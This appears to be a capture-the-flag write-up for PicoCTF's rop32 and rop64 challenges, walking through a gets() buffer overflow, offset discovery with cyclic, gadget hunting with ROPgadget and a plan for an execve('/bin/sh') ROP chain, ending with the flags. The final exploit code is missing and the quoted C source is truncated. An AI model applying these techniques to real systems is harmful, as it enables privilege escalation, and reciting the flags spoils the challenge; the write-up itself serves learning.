Solving rop32 challenge

You can download the original file here. This challenge was a linux executable with the following source code in PicoCTF:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this one?\n");
  return gets(buf);


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


The vulnerability resides in the use of gets() which is very well known for being suceptible of buffer overflows.

Below we can see that the stack is not executable and the NX bit is enabled:

$ cat /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593                            /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0 
08b94000-08bb6000 rw-p 00000000 00:00 0                                  [heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0                                  [vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0                                  [vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0                                  [stack]

$ checksec vuln
[*] '/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled <---- (!)
    PIE:      No PIE (0x8048000)

As we can see, the NX bit is enabled, because of this we cannot execute code in the stack. Therefore using ROP makes totally sense. In the end, we will try to get our shell using only rop gadgets.

The next step is to find the 16 bytes offset of buf local variable in the vuln() function, and ultimately overwrite the return address at the current function’s stack frame and gain control over eip. Using cyclic to gain time is useful. cyclic is a string sequence generator which is a De Bruijn function wrapper.

$ cyclic 32  
$ ./vuln 
Can you ROP your way out of this one?
[1]    9664 segmentation fault  ./vuln
$ dmesg |tail -n 3 
[917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
[917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
$ python2 -c 'print chr(0x68) + chr(0x61)*3' # little endian
$ cyclic --offset haaa

Step by step, we ask to cyclic a string of 32 bytes. There is no particular reason that I choosed a 32 bytes string for cyclic but is big enough to overwrite eip. Copying the resulting string to the program input overflows the buffer overwriting the Instruction Pointer. The overwritten eip renders the value 0x61616168, converted to string is haaa and returning with the result to cyclic finally we obtain 28 as the offset.

x86 - 4 bytes pointers

ESP  +---------> +-------------------+
                 |  local vars/etc   |  20 bytes (offset 0)  +
EBP  +---------> +-------------------+                       |
                 |        EBP        |  4 bytes (offset 24)  |
                 +-------------------+                       | cyclic string
                 |     EIP / RET     |  4 bytes (offset 28)  |
                 +-------------------+                       |
                 |      arguments    |  4 bytes (offset 32)  +

The state of the stack before the leave instruction in vuln() is the following:

pwndbg> x/12x $esp
0xffffcce0:	0x61616161	0x61616162	0x61616163	0x61616164
0xffffccf0:	0x61616165	0x61616166	0x61616167	0x61616168
0xffffcd00:	0x00000000	0x0804f02b	0x080da000	0x000003e8

And in the ret instruction, the stack state changes to the following:

pwndbg> x/12x $esp
0xffffccfc:	0x61616168	0x00000000	0x0804f02b	0x080da000
0xffffcd0c:	0x000003e8	0xffffcd30	0x080da000	0x00000000
0xffffcd1c:	0x08048f6f	0x0806f0af	0x080da000	0x080da000

After gathering all this information about the behaviour of the program, we start to write our exploit. In ROP the idea is that instead of writing code in the buffer and jump to it, what we do is manipulate the stack frame in a way that we inject valid memory addresses that reside within the original binary. The program ROPGadget reinterprets a binary mangling with the offsets in a way that it finds gadgets to use with the property of a chain of instructions that ends in ret, call, int 0x80 or syscall.

$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8

For instance, several gadgets in this binary allow us to manipulate the processor registers in a way that we can inject values to the registers mangling with the stack in a clever way. pop eax; ret allows us to inject the value 0x41414141 into eax using the gadget located at 0x080a8e36 in the binary:

       S T A C K

|      0x080a8e36      | <-------+ pop eax ; ret
|      0x41414114      | <-------+ eax <- 0x41414141
|      Next   RET      |

This way we can manipulate the execution flow of the program modifiying the ret addresses.


The goal is to execute the execve linux syscall using only a rop chain starting by our controlled eip to gain a shell in the server by executing /bin/sh. The binary in the server that we want to exploit has the SUID flag enabled and with reading permissions for flag.txt which is the resource that we want to read. The exploit executes /bin//sh, and after exploitation we can issue commands to the server.

While writing the exploit, I’ve encountered a problem that the final string to pass as input to the vulnerable program was “cut at half”. This was because of this gadget:

0x080a8e36 : pop eax ; ret

The problem with the memory address 0x080a8e36 is that the byte 0x0a is present in the address and in the context of passing the input by console, it is interpreted as the newline character, executing the input but in half.

That is the reason that instead of using pop eax; ret I choosed the following gadget to avoid this problem:

#0x080a8e36 : pop eax ; ret # bad bytes in the address
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # this gadget address doesn't contains 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*

For this reason, I need to take special care when loading values to the eax register with pop_eax_3 - I called it like that to remind me also that 3 registers are involved in this gadget - because it also loads values to edx and ebx destroying the state of my registers.

This is the final exploit:

Here is the flag: picoCTF{rOp_t0_b1n_sH_cb4c373e}

Solving rop64 challenge

The steps to write the exploit of this challenge are nearly the same as the rop32 one but:

  • The execve syscall parameters are passed by registers and not by stack
  • We have enough space to write the string /bin/sh\x00 in a register in one step, and thanks to that the ropchain is a little bit less complex
  • In 64 bits we should not call int 0x80, we should use syscall instruction instead

This is the exploit:

And the flag picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}